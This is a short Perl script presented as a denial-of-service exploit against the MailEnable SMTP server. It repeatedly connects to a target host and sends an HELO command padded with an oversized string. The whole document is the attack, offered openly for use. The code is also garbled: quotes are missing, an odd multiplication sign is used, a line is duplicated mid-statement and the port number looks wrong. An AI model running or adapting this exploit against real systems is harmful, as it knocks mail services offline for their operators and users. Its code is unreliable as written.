ÿþ#!/usr/bin/perl -w

#

# Mailenable SMTP DoS exploit

# 24/06/2006

#

# Filbert at divisionbyzero dot be

#



use Net::Telnet;



$string =  \0×993 ;



for ($count = 1; $count < = 10; $count++)

{

$telnet = new Net::Telnet ( Timeout=>60, Errmode=> return ,Port=> 252 );

$telnet->open($ARGV[0]);use Net::Telnet;

$telnet->print( helo  , $string,  \n );

}